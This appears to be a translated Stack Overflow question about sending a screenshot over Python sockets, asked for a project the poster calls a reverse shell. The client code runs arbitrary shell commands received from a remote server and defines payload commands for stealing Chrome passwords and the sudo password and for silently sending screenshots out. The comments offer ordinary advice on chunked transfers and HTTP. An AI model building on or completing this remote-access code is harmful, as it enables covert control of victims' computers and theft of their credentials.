Отправка изображения с помощью сокетов в Python3

Я работаю над проектом обратной оболочки, и я использую Python3. В настоящее время я работаю над отправкой файлов через сокетное соединение, но я не могу из любви к добру заставить его работать :( У меня есть поиск в Интернете, и все ссылки Google фиолетовые, поэтому я сейчас попытаю счастья здесь.

Каждый раз, когда я пытаюсь отправить файл, я либо теряю соединение, либо файл просто не передается правильно.

Я пробовал разные способы получить источник изображения. Лучшие попытки были, когда я декодировал источник изображения в base64 и отправлял их, но я думаю, что проблема связана с recv (1024).

Сервер.py

##################################
#            Server.py           #
##################################

#Connect with remote target client
def send_target_commands(conn):
    while True:
        try:
            cmd = input()
            if cmd == 'quit':
                break
            if len(str.encode(cmd)) > 0:
                conn.send(str.encode(cmd))
                client_respons = str(conn.recv(1024), "utf-8")

                #Custom commands requiering server based actions 
                if client_respons.startswith('osx_screen_shot') == True:
                    screen = client_respons[15:] #Delete 'osx_screen_shot ' fomr the string
                    f = open('temp.png', 'wb')
                    while screen != bytes(''.encode()):
                        #print(data)
                        data_d = str(conn.recv(1024))
                        f.write(data_d)
                else:
                    print(client_respons, end="")
        except:
            print("Connection was lost")
            break

Клиент.py

##################################
#            Client.py           #
##################################

#====== Screen Shoot ======#
def osx_screen_shot():
    os.system("export PATH=/bin:/usr/bin:/sbin:/usr/sbin")
    os.system("screencapture -x /tmp/temp")
    try:
        with open("/tmp/temp", 'rb') as hoosh:
            data = hoosh.read(1024)
            s.send(data)
            while data != bytes(''.encode()):
                #print(data)
                data = hoosh.read(1024)
                s.send(data)
            print(' File sent successfully.')

    except:
        return "Something went wrong"

#====== Listener =====#
while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[3:].decode("utf-8"))

    current_dir = "\033[1;31m[\033[0;97m"+str(os.getcwd())+"\033[1;31m]\033[0;97m"

    #Custom payload
    if len(data) > 0:
        if data == 'osx_menu':
            string = help_menu()
            s.send(str(string + current_dir) + ' ')
        elif data == 'osx_chrome_pass':
            passwords = function_chrome_decrypt()
            s.send(str(passwords + current_dir) + ' ')
        elif data[:2] == 'cd':
            s.send(str(current_dir) + ' ')
        elif data == 'osx_get_sudo_pass':
            string = get_sudo_password()
            s.send(str(string + current_dir) + ' ')
        elif data == 'osx_screen_shot':
            imgae_code = osx_screen_shot()
            s.send(str(imgae_code))
        elif data != '':
            cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            output_bytes = cmd.stdout.read() + cmd.stderr.read()
            output_str = str.decode(output_bytes)
            s.send(str(output_str + current_dir) + ' ')

Что я исключаю из кода, так это возможность отправлять исходный код изображения через сокет и получать изображение на серверном компьютере.


person Robin Fors    schedule 01.05.2019    source источник
comment
Вы должны использовать известный протокол для отправки данных вместо того, чтобы пытаться создать свой собственный. Что-то, что поддерживает шифрование, например https. Тогда есть много способов отправить данные с клиента на сервер, самый простой, но не лучший способ, вероятно, состоит в том, чтобы замариновать ваш объект изображения и отправить его в виде строки, которую вы можете затем распаковать на стороне сервера. Будьте осторожны при распаковке, потому что это эквивалент eval() и может привести к выполнению кода   -  person Hans Daigle    schedule 01.05.2019
comment
Итак, могу ли я сжать все изображение с помощью pickle в одну строку, а затем извлечь файл на сервере?   -  person Robin Fors    schedule 01.05.2019
comment
Да, но ваша проблема здесь, как вы указали, заключается в размере вашего пакета, который составляет всего 1024. Переход на использование http или https должен справиться с этим и позволить вам отправлять любой размер, который вы хотите. Для этого вы можете использовать библиотеку запросов.   -  person Hans Daigle    schedule 01.05.2019
comment
Я только что ответил на вопрос об отправке файла. См. stackoverflow.com/a/55840341/235698.   -  person Mark Tolonen    schedule 02.05.2019